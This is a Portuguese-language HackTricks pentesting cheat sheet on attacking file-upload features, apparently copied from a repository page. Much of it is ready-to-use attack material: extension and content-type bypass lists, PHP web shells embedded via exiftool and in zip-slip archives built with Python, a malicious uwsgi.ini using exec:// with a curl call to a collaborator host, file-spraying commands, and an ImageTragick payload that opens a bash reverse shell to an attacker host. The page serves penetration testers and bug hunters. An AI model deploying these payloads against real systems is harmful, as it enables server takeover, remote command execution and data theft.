hacktricks/pentesting-web/file-upload/README.md

28 KiB
Raw Blame History

Envio de Arquivos

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Dica de recompensa por bugs: inscreva-se no Intigriti, uma plataforma premium de recompensas por bugs criada por hackers, para hackers! Junte-se a nós em https://go.intigriti.com/hacktricks hoje mesmo e comece a ganhar recompensas de até $100.000!

{% embed url="https://go.intigriti.com/hacktricks" %}

Metodologia Geral de Envio de Arquivos

Outras extensões úteis:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • Trabalhando em PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Servidor Web Erlang Yaws: .yaws

Bypass de verificação de extensões de arquivo

  1. Se aplicável, verifique as extensões anteriores. Teste-as também usando algumas letras maiúsculas: pHp, .pHP5, .PhAr ...
  2. Verifique adicionando uma extensão válida antes da extensão de execução (use também as extensões anteriores):
  • file.png.php
  • file.png.Php5
  1. Tente adicionar caracteres especiais no final. Você pode usar o Burp para forçar todos os caracteres ascii e Unicode. (Observe que você também pode tentar usar as extensões anteriores)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php....
  • file.pHp5....
  1. Tente contornar as proteções enganando o analisador de extensões do lado do servidor com técnicas como duplicar a extensão ou adicionar dados lixo (bytes nulos) entre as extensões. Você também pode usar as extensões anteriores para preparar uma carga útil melhor.
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. Adicione mais uma camada de extensões à verificação anterior:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. Tente colocar a extensão de execução antes da extensão válida e torça para que o servidor esteja mal configurado. (útil para explorar más configurações do Apache, onde qualquer coisa com a extensão .php, mas não necessariamente terminando em .php, executará código):
  • ex: file.php.png
  1. Usando fluxo de dados alternativo NTFS (ADS) no Windows. Nesse caso, um caractere de dois pontos ":" será inserido após uma extensão proibida e antes de uma permitida. Como resultado, um arquivo vazio com a extensão proibida será criado no servidor (por exemplo, "file.asax:.jpg"). Este arquivo pode ser editado posteriormente usando outras técnicas, como usar seu nome curto. O padrão "::$data" também pode ser usado para criar arquivos não vazios. Portanto, adicionar um caractere de ponto após esse padrão também pode ser útil para contornar restrições adicionais (por exemplo, "file.asp::$data.")
  2. Tente quebrar os limites do nome do arquivo. A extensão válida é cortada. E o PHP malicioso é deixado. AAA<--SNIP-->AAA.php
# Linux máximo de 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # menos 4 aqui e adicione .png
# Faça o upload do arquivo e verifique a resposta quantos caracteres ele permite. Digamos que 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

# Crie o payload
AAA<--SNIP 232 A-->AAA.php.png

Bypassar Content-Type, Magic Number, Compressão e Redimensionamento

  • Bypassar verificações de Content-Type definindo o valor do header Content-Type para: image/png, text/plain, application/octet-stream
  1. Wordlist de Content-Type: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt
  • Bypassar verificação de magic number adicionando no início do arquivo os bytes de uma imagem real (confundir o comando file). Ou introduza o shell nos metadados:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ ou você também pode introduzir o payload diretamente em uma imagem:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • Se a compressão estiver sendo adicionada à sua imagem, por exemplo, usando algumas bibliotecas PHP padrão como PHP-GD, as técnicas anteriores não serão úteis. No entanto, você pode usar a técnica do chunk PLTE definida aqui para inserir algum texto que sobreviverá à compressão.
  • Github com o código
  • A página da web também pode estar redimensionando a imagem, usando, por exemplo, as funções PHP-GD imagecopyresized ou imagecopyresampled. No entanto, você pode usar a técnica do chunk IDAT definida aqui para inserir algum texto que sobreviverá à compressão.
  • Github com o código
  • Outra técnica para criar um payload que sobreviva ao redimensionamento de imagem, usando a função PHP-GD thumbnailImage. No entanto, você pode usar a técnica do chunk tEXt definida aqui para inserir algum texto que sobreviverá à compressão.
  • Github com o código

Outros truques para verificar

  • Encontre uma vulnerabilidade para renomear o arquivo já enviado (para alterar a extensão).
  • Encontre uma vulnerabilidade de Inclusão de Arquivo Local para executar a backdoor.
  • Possível divulgação de informações:
  1. Faça o upload várias vezes (e ao mesmo tempo) do mesmo arquivo com o mesmo nome
  2. Faça o upload de um arquivo com o nome de um arquivo ou pasta que já existe
  3. Fazer upload de um arquivo com “.”, “..”, ou “…” como seu nome. Por exemplo, no Apache no Windows, se a aplicação salvar os arquivos enviados no diretório “/www/uploads/”, o nome de arquivo “.” criará um arquivo chamado “uploads” no diretório “/www/”.
  4. Fazer upload de um arquivo que não pode ser excluído facilmente, como “…:.jpg” no NTFS. (Windows)
  5. Fazer upload de um arquivo no Windows com caracteres inválidos, como |<>*?” em seu nome. (Windows)
  6. Fazer upload de um arquivo no Windows usando nomes reservados (proibidos) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 e LPT9.
  • Tente também fazer o upload de um executável (.exe) ou um .html (menos suspeito) que executará código quando aberto acidentalmente pela vítima.

Truques especiais de extensão

Se você está tentando fazer upload de arquivos para um servidor PHP, dê uma olhada no truque do .htaccess para executar código.
Se você está tentando fazer upload de arquivos para um servidor ASP, dê uma olhada no truque do .config para executar código.

Os arquivos .phar são como os arquivos .jar para Java, mas para PHP, e podem ser usados como um arquivo PHP (executando-o com o PHP ou incluindo-o em um script...)

A extensão .inc é às vezes usada para arquivos PHP que são usados apenas para importar arquivos, então, em algum momento, alguém pode ter permitido a execução dessa extensão.

Jetty RCE

Se você pode fazer upload de um arquivo XML em um servidor Jetty, você pode obter RCE porque novos *.xml e *.war são processados automaticamente. Portanto, como mencionado na imagem a seguir, faça o upload do arquivo XML para $JETTY_BASE/webapps/ e espere a shell!

uWSGI RCE

Se você pode substituir o arquivo de configuração .ini de um servidor uWSGI, você pode obter RCE. De fato, os arquivos de configuração do uWSGI podem incluir variáveis "mágicas", espaços reservados e operadores definidos com uma sintaxe precisa. O operador @ em particular é usado na forma de @(nome do arquivo) para incluir o conteúdo de um arquivo. Muitos esquemas uWSGI são suportados, incluindo "exec" - útil para ler a saída padrão de um processo. Esses operadores podem ser usados para Execução Remota de Comandos ou Gravação/Leitura Arbitrária de Arquivos quando um arquivo de configuração .ini é analisado:

Exemplo de arquivo uwsgi.ini malicioso:

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

Quando o arquivo de configuração for analisado, o payload será executado. Observe que, para que a configuração seja analisada, o processo precisa ser reiniciado (crash? DoS?) ou o arquivo ser recarregado automaticamente (uma opção que pode ser usada indica os segundos para recarregar o arquivo se uma alteração for encontrada).

Nota importante: A análise do arquivo de configuração do uWSGI é flexível. O payload anterior pode estar embutido em um arquivo binário (por exemplo, imagem, pdf, ...).

Truque de Upload de Arquivo/SSRF com wget

Em algumas ocasiões, você pode descobrir que um servidor está usando o wget para baixar arquivos e você pode indicar a URL. Nesses casos, o código pode estar verificando se a extensão dos arquivos baixados está em uma lista branca para garantir que apenas os arquivos permitidos sejam baixados. No entanto, essa verificação pode ser contornada.
O comprimento máximo de um nome de arquivo no Linux é 255, no entanto, o wget trunca os nomes de arquivo para 236 caracteres. Você pode baixar um arquivo chamado "A"*232+".php"+".gif", esse nome de arquivo irá burlar a verificação (como neste exemplo ".gif" é uma extensão válida), mas o wget irá renomear o arquivo para "A"*232+".php".

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]

Observe que outra opção que você pode estar pensando para contornar essa verificação é fazer com que o servidor HTTP redirecione para um arquivo diferente, para que a URL inicial contorne a verificação e, em seguida, o wget faça o download do arquivo redirecionado com o novo nome. Isso não funcionará a menos que o wget esteja sendo usado com o parâmetro --trust-server-names, porque o wget fará o download da página redirecionada com o nome do arquivo indicado na URL original.

Outros recursos

Ferramentas

  • Upload Bypass é uma ferramenta poderosa projetada para ajudar Pentesters e Bug Hunters a testar mecanismos de upload de arquivos. Ele utiliza várias técnicas de bug bounty para simplificar o processo de identificação e exploração de vulnerabilidades, garantindo avaliações completas de aplicativos da web.

Da carga de arquivos para outras vulnerabilidades

Aqui está uma lista dos 10 principais itens que você pode alcançar fazendo upload (de link):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: XSS armazenado / SSRF / XXE
  3. GIF: XSS armazenado / SSRF
  4. CSV: Injeção de CSV
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS: Injeção de HTML / XSS / Redirecionamento aberto
  8. PNG / JPEG: Ataque de inundação de pixels (DoS)
  9. ZIP: RCE via LFI / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Extensão do Burp

{% embed url="https://github.com/portswigger/upload-scanner" %}

Bytes de Cabeçalho Mágico

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
  • JPG: "\xff\xd8\xff"

Consulte https://en.wikipedia.org/wiki/List_of_file_signatures para outros tipos de arquivos.

Upload Automático de Arquivo Zip/Tar Descompactado

Se você puder fazer upload de um arquivo ZIP que será descompactado dentro do servidor, você pode fazer 2 coisas:

Faça o upload de um link contendo links simbólicos para outros arquivos e, em seguida, acessando os arquivos descompactados, você terá acesso aos arquivos vinculados:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Descompactar em pastas diferentes

Os arquivos descompactados serão criados em pastas inesperadas.

Pode-se facilmente assumir que essa configuração protege contra a execução de comandos em nível de sistema operacional por meio de uploads maliciosos de arquivos, mas infelizmente isso não é verdade. Como o formato de arquivo ZIP suporta compressão hierárquica e também podemos fazer referência a diretórios de níveis superiores, podemos escapar do diretório seguro de upload abusando do recurso de descompactação do aplicativo alvo.

Um exploit automatizado para criar esse tipo de arquivo pode ser encontrado aqui: https://github.com/ptoomey3/evilarc

python2 evilarc.py -h
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

Você também pode usar o truque do symlink com evilarc, se a flag estiver em /flag.txt, certifique-se de criar um symlink para esse arquivo e criar esse arquivo em seu sistema para que, quando você chamar o evilarc, ele não retorne erro.

Algum código em Python para criar um zip malicioso:

#!/usr/bin/python
import zipfile
from io import BytesIO

def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Para obter a execução remota de comandos, segui os seguintes passos:

  1. Criar um shell PHP:
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. Use "file spraying" and create a compressed zip file:

  2. Use a técnica de "file spraying" e crie um arquivo zip compactado:

root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
simple-backdoor.php  xxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAcmd.php           xxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAxxAcmd.php        xxAxxAxxAxxAxxAcmd.php  xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
root@s2crew:/tmp# zip cmd.zip xx*.php
adding: xxAcmd.php (deflated 40%)
adding: xxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
root@s2crew:/tmp#
  1. Use um hexeditor ou vi e altere "xxA" para "../", eu usei vi:
:set modifiable
:%s/xxA/..\//g
:x!

Apenas um passo restante: Faça o upload do arquivo ZIP e permita que a aplicação o descompacte! Se tiver sucesso e o servidor web tiver privilégios suficientes para gravar nos diretórios, haverá um shell simples de execução de comandos do sistema:

b1

Referência: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

ImageTragic

Faça o upload deste conteúdo com uma extensão de imagem para explorar a vulnerabilidade (ImageMagick, 7.0.1-1)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Incorporando um Shell PHP em um PNG

A principal razão para colocar um shell web no chunk IDAT é que ele tem a capacidade de contornar operações de redimensionamento e reamostragem - o PHP-GD contém duas funções para isso imagecopyresized e imagecopyresampled.

Leia este post: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Arquivos Poliglotas

Poliglotas, em um contexto de segurança, são arquivos que são uma forma válida de vários tipos diferentes de arquivos. Por exemplo, um GIFAR é tanto um arquivo GIF quanto um arquivo RAR. Existem também arquivos que podem ser tanto GIF quanto JS, tanto PPT quanto JS, etc.

Arquivos poliglotas são frequentemente usados para contornar proteções baseadas em tipos de arquivo. Muitos aplicativos que permitem que os usuários façam upload de arquivos só permitem uploads de certos tipos, como JPEG, GIF, DOC, para evitar que os usuários façam upload de arquivos potencialmente perigosos como arquivos JS, arquivos PHP ou arquivos Phar.

Isso ajuda a fazer upload de um arquivo que está em conformidade com o formato de vários formatos diferentes. Isso permite que você faça upload de um arquivo PHAR (PHp ARchive) que também parece um JPEG, mas provavelmente você ainda precisará de uma extensão válida e se a função de upload não permitir isso, isso não ajudará você.

Mais informações em: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a


Dica de recompensa por bugs: inscreva-se no Intigriti, uma plataforma premium de recompensas por bugs criada por hackers, para hackers! Junte-se a nós em https://go.intigriti.com/hacktricks hoje mesmo e comece a ganhar recompensas de até $100.000!

{% embed url="https://go.intigriti.com/hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥